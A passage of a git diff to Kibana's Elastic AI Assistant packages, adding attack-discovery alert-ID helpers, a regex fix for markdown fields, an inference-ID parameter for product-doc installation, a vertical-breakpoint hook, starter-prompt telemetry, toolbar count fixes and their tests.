b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.ts index b18420088242a..73bd35bf24ed5 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { AttackDiscovery } from '../..'; +import type { AttackDiscovery, Replacements } from '../..'; import * as i18n from './translations'; export const RECONNAISSANCE = 'Reconnaissance'; @@ -97,3 +97,24 @@ export const getTacticMetadata = (attackDiscovery: AttackDiscovery): TacticMetad * This function replaces them with actual newlines */ export const replaceNewlineLiterals = (markdown: string): string => markdown.replace(/\\n/g, '\n'); + +export const getOriginalAlertIds = ({ + alertIds, + replacements, +}: { + alertIds: AttackDiscovery['alertIds']; + replacements?: Replacements; +}) => { + return alertIds.map((alertId) => + replacements != null ? replacements[alertId] ?? alertId : alertId + ); +}; + +export const transformInternalReplacements = ( + internal: Array<{ value: string; uuid: string }> +): Record => { + return internal.reduce>( + (acc, r) => (r.uuid != null && r.value != null ? { ...acc, [r.uuid]: r.value } : acc), + {} + ); +}; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.test.tsx index 5e0e1ea930481..dd90276669e98 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.test.tsx @@ -81,6 +81,15 @@ describe('getAttackDiscoveryMarkdown', () => { expect(result).toBe(expected); }); + + it('handles whitespaces within the value correctly', () => { + const markdown = 'This is a {{ field1 value one }} and {{ field2 value two }}.'; + const expected = 'This is a `value one` and `value two`.'; + + const result = getMarkdownFields(markdown); + + expect(result).toBe(expected); + }); }); describe('getAttackChainMarkdown', () => { diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.ts index 2714b334f8692..7ca0cb5f13528 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/get_attack_discovery_markdown/index.ts @@ -9,7 +9,7 @@ import { AttackDiscovery, Replacements } from '../../schemas'; import { getTacticLabel, getTacticMetadata } from '../attack_discovery_helpers'; export const getMarkdownFields = (markdown: string): string => { - const regex = new RegExp('{{\\s*(\\S+)\\s+(\\S+)\\s*}}', 'gm'); + const regex = new RegExp('{{\\s*(\\S+)\\s+(.*?)\\s*}}', 'gm'); return markdown.replace(regex, (_, field, value) => `\`${value}\``); }; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/index.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/index.ts index 761b9fe2df7b0..d4ada7f977ef7 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/index.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/index.ts @@ -78,7 +78,9 @@ export { } from './impl/utils/get_attack_discovery_markdown'; export { + getOriginalAlertIds, getTacticLabel, getTacticMetadata, replaceNewlineLiterals, + transformInternalReplacements, } from './impl/utils/attack_discovery_helpers'; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_get_product_doc_status.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_get_product_doc_status.ts index 5e516a4207cfa..1e6b5663da9b3 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_get_product_doc_status.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_get_product_doc_status.ts @@ -6,6 +6,7 @@ */ import { useQuery } from '@tanstack/react-query'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { REACT_QUERY_KEYS } from './const'; import { useAssistantContext } from '../../../..'; @@ -15,7 +16,9 @@ export function useGetProductDocStatus() { const { isLoading, isError, isSuccess, isRefetching, data, refetch } = useQuery({ queryKey: [REACT_QUERY_KEYS.GET_PRODUCT_DOC_STATUS], queryFn: async () => { - return productDocBase.installation.getStatus(); + return productDocBase.installation.getStatus({ + inferenceId: defaultInferenceEndpoints.ELSER, + }); }, keepPreviousData: false, refetchOnWindowFocus: false, diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.test.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.test.ts index 3b3c12d6b9dc8..d2e16a6799c91 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.test.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.test.ts @@ -9,6 +9,7 @@ import { waitFor, renderHook } from '@testing-library/react'; import { useInstallProductDoc } from './use_install_product_doc'; import { useAssistantContext } from '../../../..'; import { TestProviders } from '../../../mock/test_providers/test_providers'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; jest.mock('../../../..', () => ({ useAssistantContext: jest.fn(), @@ -39,7 +40,7 @@ describe('useInstallProductDoc', () => { wrapper: TestProviders, }); - result.current.mutate(); + result.current.mutate(defaultInferenceEndpoints.ELSER); await waitFor(() => result.current.isSuccess); expect(mockAddSuccess).toHaveBeenCalledWith( @@ -54,7 +55,7 @@ describe('useInstallProductDoc', () => { wrapper: TestProviders, }); - result.current.mutate(); + result.current.mutate(defaultInferenceEndpoints.ELSER); await waitFor(() => result.current.isError); expect(mockAddError).toHaveBeenCalledWith( diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.ts index b17dab7826c48..f84b13bcf9ddf 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/product_docs/use_install_product_doc.ts @@ -11,17 +11,16 @@ import type { IHttpFetchError, ResponseErrorBody } from '@kbn/core/public'; import type { PerformInstallResponse } from '@kbn/product-doc-base-plugin/common/http_api/installation'; import { REACT_QUERY_KEYS } from './const'; import { useAssistantContext } from '../../../..'; - type ServerError = IHttpFetchError; export function useInstallProductDoc() { const { productDocBase, toasts } = useAssistantContext(); const queryClient = useQueryClient(); - return useMutation( + return useMutation( [REACT_QUERY_KEYS.INSTALL_PRODUCT_DOC], - () => { - return productDocBase.installation.install(); + (inferenceId: string) => { + return productDocBase.installation.install({ inferenceId }); }, { onSuccess: () => { diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/prompts/use_fetch_prompts.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/prompts/use_fetch_prompts.ts index 27e2bccbd66ca..3f66b81a2bb26 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/prompts/use_fetch_prompts.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/api/prompts/use_fetch_prompts.ts @@ -8,8 +8,6 @@ import { FindPromptsResponse } from '@kbn/elastic-assistant-common/impl/schemas'; import { useQuery } from '@tanstack/react-query'; import { API_VERSIONS, ELASTIC_AI_ASSISTANT_PROMPTS_URL_FIND } from '@kbn/elastic-assistant-common'; -import { HttpSetup, IToasts } from '@kbn/core/public'; -import { i18n } from '@kbn/i18n'; import { useAssistantContext } from '../../../assistant_context'; export interface UseFetchPromptsParams { @@ -74,28 +72,3 @@ export const useFetchPrompts = (payload?: UseFetchPromptsParams) => { } ); }; - -export const getPrompts = async ({ - http, - signal, - toasts, -}: { - http: HttpSetup; - toasts: IToasts; - signal?: AbortSignal | undefined; -}) => { - try { - return await http.fetch(ELASTIC_AI_ASSISTANT_PROMPTS_URL_FIND, { - method: 'GET', - version: API_VERSIONS.public.v1, - signal, - }); - } catch (error) { - toasts.addError(error.body && error.body.message ? new Error(error.body.message) : error, { - title: i18n.translate('xpack.elasticAssistant.prompts.getPromptsError', { - defaultMessage: 'Error fetching prompts', - }), - }); - throw error; - } -}; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/empty_convo.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/empty_convo.tsx index ef2b75e86d64f..50e8cadc199ab 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/empty_convo.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/empty_convo.tsx @@ -5,11 +5,12 @@ * 2.0. */ -import React, { Dispatch, SetStateAction } from 'react'; +import React, { Dispatch, SetStateAction, useMemo } from 'react'; import { EuiFlexGroup, EuiFlexItem, EuiPanel, EuiText } from '@elastic/eui'; import { css } from '@emotion/react'; import { PromptResponse } from '@kbn/elastic-assistant-common'; import { AssistantBeacon } from '@kbn/ai-assistant-icon'; +import { useVerticalBreakpoint } from './use_vertical_breakpoint'; import { useAssistantContext } from '../../..'; import { StarterPrompts } from './starter_prompts'; import { SystemPrompt } from '../prompt_editor/system_prompt'; @@ -39,12 +40,15 @@ export const EmptyConvo: React.FC = ({ setUserPrompt, }) => { const { assistantAvailability } = useAssistantContext(); + const breakpoint = useVerticalBreakpoint(); + const compressed = useMemo(() => breakpoint !== 'tall', [breakpoint]); return ( = ({ text-align: center; `} > - + - + - +

{i18n.EMPTY_SCREEN_TITLE}

{i18n.EMPTY_SCREEN_DESCRIPTION}

@@ -71,17 +80,22 @@ export const EmptyConvo: React.FC = ({ isSettingsModalVisible={isSettingsModalVisible} onSystemPromptSelectionChange={setCurrentSystemPromptId} setIsSettingsModalVisible={setIsSettingsModalVisible} + compressed={compressed} />
- +
{assistantAvailability.isStarterPromptsEnabled && ( - + )}
diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.test.tsx index 57064176c0417..60a9266a2dc2e 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.test.tsx @@ -81,7 +81,7 @@ const mockResponse = [ const testProps = { setUserPrompt: jest.fn(), }; - +const mockReportAssistantStarterPrompt = jest.fn(); jest.mock('../../..', () => { return { useFindPrompts: jest.fn(), @@ -89,12 +89,18 @@ jest.mock('../../..', () => { assistantAvailability: { isAssistantEnabled: true, }, + assistantTelemetry: { + reportAssistantStarterPrompt: mockReportAssistantStarterPrompt, + }, http: { fetch: {} }, }), }; }); describe('StarterPrompts', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); it('should return an empty array if no prompts are provided', () => { expect(getAllPromptIds(promptGroups)).toEqual([ 'starterPromptTitle1', @@ -158,4 +164,16 @@ describe('StarterPrompts', () => { fireEvent.click(getByTestId('starterPromptPrompt2 from API yall')); expect(testProps.setUserPrompt).toHaveBeenCalledWith('starterPromptPrompt2 from API yall'); }); + it('calls reportAssistantStarterPrompt with prompt title when a prompt is selected', () => { + (useFindPrompts as jest.Mock).mockReturnValue({ data: { prompts: mockResponse } }); + const { getByTestId } = render( + + + + ); + fireEvent.click(getByTestId('starterPromptPrompt2 from API yall')); + expect(mockReportAssistantStarterPrompt).toHaveBeenCalledWith({ + promptTitle: 'starterPromptTitle2 from API yall', + }); + }); }); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.tsx index 3b914b8555ae4..7700683e865f8 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/starter_prompts.tsx @@ -6,21 +6,14 @@ */ import React, { useMemo, useCallback } from 'react'; -import { - EuiFlexGroup, - EuiFlexItem, - EuiIcon, - EuiPanel, - EuiSpacer, - EuiText, - EuiTitle, -} from '@elastic/eui'; +import { EuiFlexGroup, EuiFlexItem, EuiIcon, EuiPanel, EuiSpacer, EuiText } from '@elastic/eui'; import { css } from '@emotion/css'; import { PromptItemArray } from '@kbn/elastic-assistant-common/impl/schemas/security_ai_prompts/common_attributes.gen'; import { useAssistantContext, useFindPrompts } from '../../..'; interface Props { connectorId?: string; + compressed?: boolean; setUserPrompt: React.Dispatch>; } const starterPromptClassName = css` @@ -65,9 +58,14 @@ export const promptGroups = [ }, ]; -export const StarterPrompts: React.FC = ({ connectorId, setUserPrompt }) => { +export const StarterPrompts: React.FC = ({ + compressed = false, + connectorId, + setUserPrompt, +}) => { const { assistantAvailability: { isAssistantEnabled }, + assistantTelemetry, http, toasts, } = useAssistantContext(); @@ -93,11 +91,21 @@ export const StarterPrompts: React.FC = ({ connectorId, setUserPrompt }) return formatPromptGroups(actualPrompts); }, [actualPrompts]); + const trackPrompt = useCallback( + (promptTitle: string) => { + assistantTelemetry?.reportAssistantStarterPrompt({ + promptTitle, + }); + }, + [assistantTelemetry] + ); + const onSelectPrompt = useCallback( - (prompt: string) => { + (prompt: string, title: string) => { setUserPrompt(prompt); + trackPrompt(title); }, - [setUserPrompt] + [setUserPrompt, trackPrompt] ); return ( @@ -105,20 +113,20 @@ export const StarterPrompts: React.FC = ({ connectorId, setUserPrompt }) {fetchedPromptGroups.map(({ description, title, icon, prompt }) => ( onSelectPrompt(prompt)} + onClick={() => onSelectPrompt(prompt, title)} className={starterPromptInnerClassName} > - + - -

{title}

-
- {description} + +

{title}

+

{description}

+
))} diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/use_vertical_breakpoint.test.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/use_vertical_breakpoint.test.ts new file mode 100644 index 0000000000000..dbbd1391eba5e --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/use_vertical_breakpoint.test.ts @@ -0,0 +1,58 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { act, renderHook } from '@testing-library/react'; +import { useVerticalBreakpoint } from './use_vertical_breakpoint'; + +describe('useVerticalBreakpoint', () => { + beforeEach(() => { + jest.useFakeTimers(); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + function setWindowHeight(height: number) { + Object.defineProperty(window, 'innerHeight', { + writable: true, + configurable: true, + value: height, + }); + window.dispatchEvent(new Event('resize')); + } + + it('returns "short" for height < 600', () => { + setWindowHeight(500); + const { result } = renderHook(() => useVerticalBreakpoint()); + expect(result.current).toBe('short'); + }); + + it('returns "medium" for 600 <= height < 1100', () => { + setWindowHeight(800); + const { result } = renderHook(() => useVerticalBreakpoint()); + expect(result.current).toBe('medium'); + }); + + it('returns "tall" for height >= 1100', () => { + setWindowHeight(1200); + const { result } = renderHook(() => useVerticalBreakpoint()); + expect(result.current).toBe('tall'); + }); + + it('updates value on window resize once debounced', () => { + setWindowHeight(1200); + const { result } = renderHook(() => useVerticalBreakpoint()); + expect(result.current).toBe('tall'); + setWindowHeight(500); + expect(result.current).toBe('tall'); + act(() => { + jest.advanceTimersByTime(100); // debounce + }); + expect(result.current).toBe('short'); + }); +}); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/use_vertical_breakpoint.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/use_vertical_breakpoint.ts new file mode 100644 index 0000000000000..059966e0ee587 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_body/use_vertical_breakpoint.ts @@ -0,0 +1,30 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { useEffect } from 'react'; +import useRafState from 'react-use/lib/useRafState'; + +export type VerticalBreakpoint = 'short' | 'medium' | 'tall'; + +export function useVerticalBreakpoint(): VerticalBreakpoint { + const [height, setHeight] = useRafState(() => window.innerHeight); + + useEffect(() => { + const handleResize = () => { + const newHeight = window.innerHeight; + setHeight((prev) => (prev !== newHeight ? newHeight : prev)); + }; + window.addEventListener('resize', handleResize, { passive: true }); + return () => { + window.removeEventListener('resize', handleResize); + }; + }, [setHeight]); + + if (height < 600) return 'short'; + if (height < 1100) return 'medium'; + return 'tall'; +} diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_overlay/index.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_overlay/index.test.tsx index 4cd7b0fce58cc..47f7723f39c14 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_overlay/index.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/assistant_overlay/index.test.tsx @@ -15,6 +15,7 @@ const assistantTelemetry = { reportAssistantInvoked, reportAssistantMessageSent: () => {}, reportAssistantQuickPrompt: () => {}, + reportAssistantStarterPrompt: () => {}, reportAssistantSettingToggled: () => {}, }; describe('AssistantOverlay', () => { diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.test.tsx new file mode 100644 index 0000000000000..c2c0860f383ba --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.test.tsx @@ -0,0 +1,87 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { render, screen, fireEvent } from '@testing-library/react'; +import { Toolbar } from './tool_bar_component'; +import * as i18n from './translations'; + +describe('Toolbar', () => { + const setup = (propsOverrides = {}) => { + const props = { + onConversationsBulkDeleted: jest.fn(), + handleSelectAll: jest.fn(), + handleUnselectAll: jest.fn(), + totalConversations: 10, + totalSelected: 0, + isDeleteAll: false, + ...propsOverrides, + }; + + render(); + return props; + }; + + it('renders nothing if totalConversations is 0', () => { + const { container } = render( + + ); + expect(container).toBeEmptyDOMElement(); + }); + + it('renders select all button when isDeleteAll is false', () => { + setup({ isDeleteAll: false }); + expect(screen.getByTestId('selectAllConversations')).toBeInTheDocument(); + expect(screen.getByText(i18n.SELECT_ALL_CONVERSATIONS(10))).toBeInTheDocument(); + }); + + it('calls handleSelectAll on select all button click', () => { + const props = setup({ isDeleteAll: false }); + fireEvent.click(screen.getByTestId('selectAllConversations')); + expect(props.handleSelectAll).toHaveBeenCalledWith(10); + }); + + it('renders selected count when totalSelected is greater than 0', () => { + setup({ totalSelected: 3 }); + expect(screen.getByTestId('selectedFields')).toHaveTextContent(i18n.SELECTED_CONVERSATIONS(3)); + }); + + it('renders unselect all buttons when totalSelected is greater than 0', () => { + setup({ totalSelected: 3 }); + expect(screen.getByTestId('unselectAllConversations')).toHaveTextContent( + i18n.UNSELECT_ALL_CONVERSATIONS(3) + ); + }); + + it('renders unselect all and delete buttons when isDeleteAll is true', () => { + setup({ isDeleteAll: true, totalSelected: 10 }); + expect(screen.getByTestId('unselectAllConversations')).toHaveTextContent( + i18n.UNSELECT_ALL_CONVERSATIONS(10) + ); + expect(screen.getByTestId('selectedFields')).toHaveTextContent(i18n.SELECTED_CONVERSATIONS(10)); + expect(screen.getByText(i18n.DELETE_SELECTED_CONVERSATIONS)).toBeInTheDocument(); + }); + + it('calls handleUnselectAll on click', () => { + const props = setup({ totalSelected: 2 }); + fireEvent.click(screen.getByTestId('unselectAllConversations')); + expect(props.handleUnselectAll).toHaveBeenCalled(); + }); + + it('calls onConversationsBulkDeleted on delete click', () => { + const props = setup({ totalSelected: 5 }); + fireEvent.click(screen.getByText(i18n.DELETE_SELECTED_CONVERSATIONS)); + expect(props.onConversationsBulkDeleted).toHaveBeenCalled(); + }); +}); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.tsx index 5e49df10f1699..57584a1a4c26c 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/conversations/conversation_settings_management/tool_bar_component.tsx @@ -64,7 +64,7 @@ const ToolbarComponent: React.FC = ({ onClick={handleUnselectAll} size="xs" > - {i18n.UNSELECT_ALL_CONVERSATIONS(totalConversations)} + {i18n.UNSELECT_ALL_CONVERSATIONS(totalSelected)} )} @@ -72,7 +72,7 @@ const ToolbarComponent: React.FC = ({ {isAnySelected && ( - {i18n.SELECTED_CONVERSATIONS(isDeleteAll ? totalConversations : totalSelected)} + {i18n.SELECTED_CONVERSATIONS(totalSelected)} )} diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/index.tsx index 1cf00944d51de..f951fcdc28984 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/index.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/index.tsx @@ -13,6 +13,7 @@ interface Props { allSystemPrompts: PromptResponse[]; currentSystemPromptId: string | undefined; isSettingsModalVisible: boolean; + compressed?: boolean; onSystemPromptSelectionChange: (systemPromptId: string | undefined) => void; setIsSettingsModalVisible: React.Dispatch>; } @@ -21,6 +22,7 @@ const SystemPromptComponent: React.FC = ({ allSystemPrompts, currentSystemPromptId, isSettingsModalVisible, + compressed = false, onSystemPromptSelectionChange, setIsSettingsModalVisible, }) => { @@ -43,6 +45,7 @@ const SystemPromptComponent: React.FC = ({ data-test-subj="systemPrompt" isClearable={true} isSettingsModalVisible={isSettingsModalVisible} + compressed={compressed} onSystemPromptSelectionChange={onSystemPromptSelectionChange} selectedPrompt={selectedPrompt} setIsSettingsModalVisible={setIsSettingsModalVisible} diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/select_system_prompt/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/select_system_prompt/index.tsx index 91721a1b35a37..b3a93d9b86083 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/select_system_prompt/index.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/prompt_editor/system_prompt/select_system_prompt/index.tsx @@ -142,6 +142,7 @@ const SelectSystemPromptComponent: React.FC = ({ prepend={!isSettingsModalVisible ? PROMPT_CONTEXT_SELECTOR_PREFIX : undefined} css={css` padding-right: 56px !important; + ${compressed ? 'font-size: 0.9rem;' : ''} `} /> diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.test.tsx index d8d865b9353f4..b425a07c19281 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.test.tsx @@ -9,6 +9,7 @@ import { render, screen, fireEvent, waitFor } from '@testing-library/react'; import { ProductDocumentationManagement } from '.'; import * as i18n from './translations'; import { useInstallProductDoc } from '../../api/product_docs/use_install_product_doc'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; jest.mock('../../api/product_docs/use_install_product_doc'); jest.mock('../../api/product_docs/use_get_product_doc_status'); @@ -26,12 +27,22 @@ describe('ProductDocumentationManagement', () => { }); it('renders install button when not installed', () => { - render(); + render( + + ); expect(screen.getByText(i18n.INSTALL)).toBeInTheDocument(); }); it('does not render anything when already installed', () => { - const { container } = render(); + const { container } = render( + + ); expect(container).toBeEmptyDOMElement(); }); @@ -41,7 +52,12 @@ describe('ProductDocumentationManagement', () => { isLoading: false, isSuccess: false, }); - const { container } = render(); + const { container } = render( + + ); expect(container).toBeEmptyDOMElement(); }); @@ -51,7 +67,12 @@ describe('ProductDocumentationManagement', () => { isLoading: true, isSuccess: false, }); - render(); + render( + + ); expect(screen.getByTestId('installing')).toBeInTheDocument(); expect(screen.getByText(i18n.INSTALLING)).toBeInTheDocument(); }); @@ -63,7 +84,12 @@ describe('ProductDocumentationManagement', () => { isSuccess: true, }); mockInstallProductDoc.mockResolvedValueOnce({}); - render(); + render( + + ); expect(screen.queryByText(i18n.INSTALL)).not.toBeInTheDocument(); }); @@ -74,7 +100,12 @@ describe('ProductDocumentationManagement', () => { isSuccess: false, }); mockInstallProductDoc.mockRejectedValueOnce(new Error('Installation failed')); - render(); + render( + + ); fireEvent.click(screen.getByText(i18n.INSTALL)); await waitFor(() => expect(screen.getByText(i18n.INSTALL)).toBeInTheDocument()); }); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.tsx index 98a487ec9d187..6eeebbda3aa96 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/settings/product_documentation/index.tsx @@ -21,7 +21,8 @@ import * as i18n from './translations'; export const ProductDocumentationManagement = React.memo<{ status?: InstallationStatus; -}>(({ status }) => { + inferenceId: string; +}>(({ status, inferenceId }) => { const { mutateAsync: installProductDoc, isSuccess: isInstalled, @@ -29,8 +30,8 @@ export const ProductDocumentationManagement = React.memo<{ } = useInstallProductDoc(); const onClickInstall = useCallback(() => { - installProductDoc(); - }, [installProductDoc]); + installProductDoc(inferenceId); + }, [installProductDoc, inferenceId]); const content = useMemo(() => { if (isInstalling) { diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/translations.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/translations.ts index c0ebd81550579..f793c37473b53 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/translations.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/translations.ts @@ -37,10 +37,10 @@ export const EMPTY_SCREEN_TITLE = i18n.translate( ); export const EMPTY_SCREEN_DESCRIPTION = i18n.translate( - 'xpack.elasticAssistant.assistant.emptyScreen.description', + 'xpack.elasticAssistant.assistant.emptyScreen.descriptionV2', { defaultMessage: - 'Ask me anything from "Summarize this alert" to "Help me build a query" using the following system prompt:', + 'Ask me anything in the chat box, or choose one of the prompts below to jump right in.', } ); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.test.tsx index 98eae02b93484..71125ad23cf99 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.test.tsx @@ -17,7 +17,7 @@ import { createConversation as _createConversationApi, updateConversation, } from '../api/conversations'; -import { welcomeConvo } from '../../mock/conversation'; +import { emptyWelcomeConvo, welcomeConvo } from '../../mock/conversation'; jest.mock('../api/conversations'); const message = { @@ -120,6 +120,28 @@ describe('useConversation', () => { }); }); + it('should not update the apiConfig for conversation that does not yet exist', async () => { + const { result } = renderHook(() => useConversation(), { + wrapper: ({ children }: React.PropsWithChildren<{}>) => ( + {children} + ), + }); + await waitFor(() => new Promise((resolve) => resolve(null))); + + await act(async () => { + const res = await result.current.setApiConfig({ + conversation: emptyWelcomeConvo, + apiConfig: mockConvo.apiConfig, + }); + expect(res).toEqual({ + ...emptyWelcomeConvo, + apiConfig: mockConvo.apiConfig, + }); + }); + + expect(updateConversation).not.toHaveBeenCalled(); + }); + it('should remove the last message from a conversation when called with valid conversationId', async () => { const { result } = renderHook(() => useConversation(), { wrapper: ({ children }: React.PropsWithChildren<{}>) => ( diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.tsx index f0276025a5e9e..58dd9f5de2ecf 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.tsx +++ 